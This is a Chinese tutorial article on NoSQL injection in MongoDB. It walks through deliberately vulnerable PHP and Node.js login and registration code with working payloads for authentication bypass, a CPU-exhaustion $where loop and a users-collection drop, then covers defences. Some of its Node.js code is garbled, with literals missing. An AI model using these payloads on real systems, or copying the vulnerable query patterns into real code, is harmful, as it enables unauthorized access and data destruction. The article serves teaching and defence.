都说是冷门,我却愿写4000字来介绍它

2018-02-07 3,517




00

研究起因

接触NoSQL已经近两年了,最近在研究NoSQL注入,写下这篇文章输出我的一些沉淀。翻阅NoSQL注入资料发现这方面的文章很少,尤其是中文资料,又去搜一下MongoDB相关的漏洞,大约300多条记录,绝大多数是「未授权访问」,NoSQL注入寥寥无几。这就更激发我想写出点东西帮助更多人了解它。

镜像站参考链接:

https://wooyun.shuimugan.com/

文章均用我最熟悉的MongoDB作为例子。





01

一点NoSQL注入的概念

基本概念还是相当重要的,来看下owasp对NoSQL注入的描述。

NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。 通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。 然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。 由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式 SQL语言中执行,所以潜在影响要大于传统SQL注入。



NoSQL数据库的调用是使用应用程序的编程语言编写的,过滤掉常见的HTML特殊字符,如 <> & ; 不会阻止针对NoSQL的攻击。




02

NoSQL注入分类

我找到了两种NoSQL注入分类的分类方式,第一种是按照语言的分类:PHP数组注入,js注入和mongo shell拼接注入等等。

第二种是按照攻击机制分类:重言式,联合查询,JavaScript注入等等,这种分类方式很像SQL注入的分类方式。

我们详细讨论下第二种分类方式:

1) 重言式

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

2) 联合查询

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

3) JavaScript注入

这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。




03

PHP中的NoSQL注入

在我搜集NoSQL注入的时候发现了一个叫NoSQLInjectionAttackDemo的Github repo,感谢前辈的辛苦研究,给我提供了很宝贵的资料,我基于这个项目分析PHP中的NoSQL注入。

1) 重言式注入

<?php
$m = new MongoClient(); $db = $m->test; $collection = $db->users; $dbUsername = null; $dbPassword = null; $data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']  );  $cursor = $collection->find($data); $count = $cursor->count(); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html");
if($count >0 ){
echo $doc_succeed->saveHTML();
foreach ($cursor as $user){
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>"; } }
else{
echo $doc_failed->saveHTML(); }

这段代码有点年代,我试图运行的时候发现,这个MongoDB driver已经不推荐使用了。

为了文章的实用性,我用最新的MongoDB driver重构了这段代码。

<?php
$manager = new MongoDBDriverManager("mongodb://mongo:27017"); $dbUsername = null; $dbPassword = null; $data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']  );  $query = new MongoDBDriverQuery($data); $cursor = $manager->executeQuery('test.users', $query)->toArray(); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML(); }
else{
echo $doc_failed->saveHTML(); }

很简单,就是一个登录的后端处理代码,正常情况下,输入正确的用户名和密码我们可以看到登录成功的页面,输入错误的看到登录失败的页面。

我们正常登录来详细看一下程序的数据流,假设用户名:xiaoming 密码:xiaoming123

我们从代码中可以看出,这里对用户输入没有做任何校验,那么我们可以通过构造一个永真的条件就可以完成NoSQL注入。MongoDB基础我在本文不再赘述,直接构造payload:username[$ne]=1&password[$ne]=1的payload.

注入成功,看数据流:

对于PHP本身的特性而言,由于其松散的数组特性,导致如果我们输入value=1那么,也就是输入了一个value的值为1的数据。如果输入value[$ne]=1也就意味着value=array($ne=>1),在MongoDB中,原来的一个单个目标的查询变成了条件查询。同样的,我们也可以使用username[$gt]=&password[$gt]=作为payload进行攻击。

2) NoSQL联合查询注入

我们都知道在SQL时代拼接字符串容易造成SQL注入,NoSQL也有类似问题,但是现在无论是PHP的MongoDB driver还是node.js的mongoose都要求查询条件必须是一个数组或者对象了,因此简单看一下就好。

string query ="{ username: '" + post_username + "', password: '" + post_password + "' }"

payload:

username=tolkien', $or: [ {}, { 'a':'a&password=' } ]

3) JavaScript注入

* $where操作符

在MongoDB中 $where操作符是可以执行JavaScript语句的,在MongoDB 2.4之前,通过$where操作符使用map-reduce、group命令可以访问到mongo shell中的全局函数和属性,如db,看到这里,如果你有在生产环境中使用MongoDB 2.4之前的MongoDB版本,赶快放下手里的事情去升级吧。

我们继续用代码说话,后面的代码我将直接使用新版MongoDB driver作为示例。

<?php
$manager = new MongoDBDriverManager("mongodb://mongo:27017"); $query_body =array(
'$where'=>" function q() { var username = ".$_REQUEST["username"]."; var password = ".$_REQUEST["password"].";if(username == 'admin'&&password == '123456') return true; else{ return false;}} ");  $query = new MongoDBDriverQuery($query_body); $cursor = $manager->executeQuery('test.users', $query)->toArray(); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML(); }
else{
echo $doc_failed->saveHTML(); }

还是那个登录,这次我们指定了用户名和密码,假设我们不知道用户名和密码,使用payload:username=1&password=1;return true;进行注入攻击。

注入成功,继续看数据流:

对于这个$where操作符注入还有一个好玩的payload 。

username=1&password=1;(function(){var%20date%20=%20new%20Date();%20do{curDate%20=%20new%20Date();}while(curDate-date%3C5000);%20return%20Math.max();})();

这个payload可以让MongoDB所在服务器CPU瞬间飙升,持续5秒。

注意docker进程的cpu占用变化

* 使用Command方法构成注入

MongoDB driver一般都提供直接执行shell命令的方法,这些方式一般是不推荐使用的,但难免有人为了实现一些复杂的查询去使用,在php官网中就已经友情提醒了不要这样使用:

<?php
$m = new MongoDBDriverManager;
// Don't do this!!!
$username = $_GET['field'];  // $username is set to "'); db.users.drop(); print('"$cmd = new MongoDBDriverCommand( [
'eval' => "print('Hello, $username!');"
] );  $r = $m->executeCommand( 'dramio', $cmd );?>

但是我实在不知道有人会用print干什么,(为了记日志?)继续搜索,直到我看到了有人喜欢用Command去实现Mongo的distinct方法,于是照猫画虎构建了这样的例子。

<?php
$manager = new MongoDBDriverManager("mongodb://mongo:27017"); $username = $_REQUEST['username']; $cmd = new MongoDBDriverCommand([
// build the 'distinct' command
'eval'=> "db.users.distinct('username',{'username':'$username'})"
]); $cursor = $manager->executeCommand('test', $cmd)->toArray(); var_dump($cursor); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML(); }
else{
echo $doc_failed->saveHTML(); }

这个就危险太多了,就相当于把mongo shell开放给用户了,你基本可以构建任何mongo shell可以执行的payload了,如果当前应用连接数据库的权限恰好很高,我们能干的事情更多。如构建

payload:username=2'});db.users.drop();db.user.find({'username':'2

整个users collection都不见了。继续看数据流

但我们也同时发现,构建这样的payload是有一定难度的,需要我们对MongoDB,JavaScript和业务都有足够的了解,这也是NoSQL注入的局限性。类似的操作还有mapReduce,那个更复杂一些,但原理类似,我就不再举例子了。

至此,几种常见的NoSQL注入已经用PHP语言解释完了,那么对于和MongoDB天生般配的JavaScript有没有类似问题呢?




04

Node.js中的NoSQL注入

PHP是第一次写,到了JavaScript这里就到了我熟悉的领域了。我们继续看代码。

 express = ();
 mongoose = ();
 bodyParser = (); mongoose.connect(, { :  });
 UserSchema =  mongoose.Schema({
: ,
: ,
: });
 User = mongoose.model(, UserSchema);
 app = express(); app.set(, __dirname); app.set(, );  app.get(, { res.render(, {}); });  app.use(bodyParser.json());   app.post(, {
.log(req.body) User.findOne({: req.body.username, : req.body.password}, {
.log(user)
 (err) {
 res.render(, {: err.message}); }
 (!user) {
 res.render(, {: }); }
 res.render(, {:  + user.name + }); }); });

 server = app.listen(, {
.log(, server.address().port); });

和PHP类似,构建这样的payload:

  HTTP/1.1: application/json

注入成功登陆系统。

从例子可以看出JavaScript的注入方式和PHP的类似,剩下的注入形式和其他语言的实现方式我就不一一列举了,大家有兴趣去写写漏洞,既能了解漏洞产生原理也能在开发过程中避免类似问题。




05

NoSQL注入靶场

为了让大家对NoSQL注入都有所了解,某运营小姐姐提议我写个靶场,当然因为这个靶场不只是NoSQL注入,还组合了很多好玩的且程序员容易忽略的点,我也受益匪浅,有兴趣的可以先去靶场试试。

靶场链接:

https://pockr.org/bug-environment/detail?environment_no=env_75b82b98ffedbe0035

整个代码用我比较熟悉的node.js+angular2实现,模拟一个需要用工号验证注册的内部系统,注册后可以查看和管理服务器,我把其中和NoSQL注入相关的拿出来说一下。

1)工号注册绕过

来看用户注册部分的代码:

{deferred = Q.defer();
.log(,userParam.jobnumber);
(userParam.username ==){  deferred.reject(); } db.jobNumbers.findOne( { : userParam.jobnumber },
{
 (err) deferred.reject(err.name +  + err.message);.log(,user);
 (!user) {deferred.reject( + userParam.jobnumber + ); }  {
 jobNumberArray=[,,,,,,,,,,,];
(jobNumberArray.indexOf(userParam.jobnumber)>=){ deferred.reject( + userParam.jobnumber + ); }  db.users.findOne( { : userParam.username },
{
 (err) deferred.reject(err.name +  + err.message);
 (user) {deferred.reject( + userParam.username + ); }  { createUser(); } }); } });{
 user = _.omit(userParam, [,]);

user.hash = bcrypt.hashSync(userParam.password, );  db.users.insert( user,
{
 (err) deferred.reject(err.name +  + err.message);  deferred.resolve(); });  createOwnServer(); }

主要问题在这段代码中

db.jobNumbers.findOne( { jobNumber: userParam.jobnumber },function (err, user) {...})

由于userParam.jobnumber没有做任何校验,我们直接构建payload绕过工号校验直接注册:

{"username": "test","password": "111111","jobnumber": {"$ne": null}  }

注册后直接登录系统,即可看到服务器列表。

2)越权查看管理员服务器

这是第二个注入点,在登录进去后的服务器列表页面中其实给了相应的提示:你负责的测试服务器都会在这里展示,生产服务器请联系管理员获取,也就是说我们是看不到管理员服务器的,但他们应该在数据库中。

在前端console中,我故意打出了这样的数据结构(console中直接打印出数据结构也是程序员经常疏忽的点):

从中可以看出服务器的owner是以数组的形式存的。然后我们为了过滤掉admin服务器,只显示自己的和public服务器,用了$where语句,并使用JavaScript语句进行过滤,比较常见的过滤方式是判断字符串的indexOf。那么我们尝试闭合indexOf,构造payload,这一步确实要对MongoDB和JavaScript都比较了解才能做出。

还是一脸懵逼?直接看代码吧:

{
 deferred = Q.defer(); db.servers.find({:+username+ }).toArray(
{
 (err) deferred.reject(err.name +  + err.message);.log(servers);  deferred.resolve(servers); });
 deferred.promise; }

同样的,username没有进行任何校验,看着代码构造payload,该闭合的闭合,保证JavaScript不报错还要和admin有关,构造条件让查询条件中包含admin且为真。

payload:')>0|| this.owners.indexOf('admin

靶场上线一段时间后,"summ3rf"同学给了我这样的一个思路:

payload:

"username":"summ3rf)))});//"


这样就即全部闭合了前面的代码,又不用考虑闭合后面的代码,感谢"summ3rf"同学,如果你能看到这篇文章,可以联系我共同探讨注入姿势~


完整靶场Writeup:靶场 | 冲云破雾冷门拖库Writeup






06

如何防止NoSQL注入

从注入原理上看NoSQL注入的防护也很简单,思路也和SQL注入类似,我们只需要控制输入,禁止使用危险的操作就可以基本避免NoSQL注入。


比如上面那个php例子

$data = array('username' => $_REQUEST['username'],'password' => $_REQUEST['password'] );

通过参数过滤就可以避免。

$data = array('username' => filter_var($_REQUEST['username']),'password' => filter_var($_REQUEST['password']) );

对于JavaScript注入,$where 和Commend方法能不用就尽量不要用了,如果必须用的话一定要限制输入或者把要执行的内容写成JavaScript function通过参数的方式传进去。

<?php$manager = new MongoDBDriverManager("mongodb://mongo:27017"); $username = $_REQUEST['username']; $cmd = new MongoDBDriverCommand([
// build the 'distinct' command'eval'=> "function(username){db.users.distinct('username',{'username':' + username + '})}",
'args' => $username, ]); $cursor = $manager->executeCommand('test', $cmd)->toArray(); var_dump($cursor); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML(); }
else{
echo $doc_failed->saveHTML(); }


还有还有,不要轻易打开一些MongoDB相关的REST API,防止跨站请求伪造,给应用最小权限,不要存在未授权访问用户……(去年发生的MongoDB勒索事件还记忆犹新……)

一份官方的security-checklist提供给大家参考:

https://docs.mongodb.com/manual/administration/security-checklist/




07

尾巴


这篇文从代码层解释了一下NoSQL是如何形成的,还比较浅显,研究并没有结束,今后也许会研究如何稳定利用NoSQL注入,从驱动层解释NoSQL的形成,以及分享靶场搭建的脑洞和技术思路。感谢各位大牛、我的朋友们和破壳漏洞社区对我的支持

示例代码和靶场代码均已上传至Github:

https://github.com/bibotai/research_of_nosql_injection




08

参考

[1] NoSQL注入的分析和缓解

http://www.yunweipai.com/archives/14084.html

[2] NoSQL Injection in MongoDB

https://zanon.io/posts/nosql-injection-in-mongodb

[3] Testing for NoSQL injection

https://www.owasp.org/index.php/Testing_for_NoSQL_injection

[4] 一个有趣的实例让NoSQL注入不再神秘

http://www.freebuf.com/articles/database/95314.html

[5] HACKING NODEJS AND MONGODB

https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html

[6] PHP Manaul for MongoDB: Script Injection Attacks

http://docs.php.net/manual/en/mongodb.security.script_injection.php

[7] No SQL! no injection? A talk on the state of NoSQL security

https://www.research.ibm.com/haifa/Workshops/security2015/present/Aviv_NoSQL-NoInjection.pdf

[8] GitHub:youngyangyang04/NoSQLInjectionAttackDemo

https://github.com/youngyangyang04/NoSQLInjectionAttackDemo


【本文作者图南,转载自破壳漏洞社区

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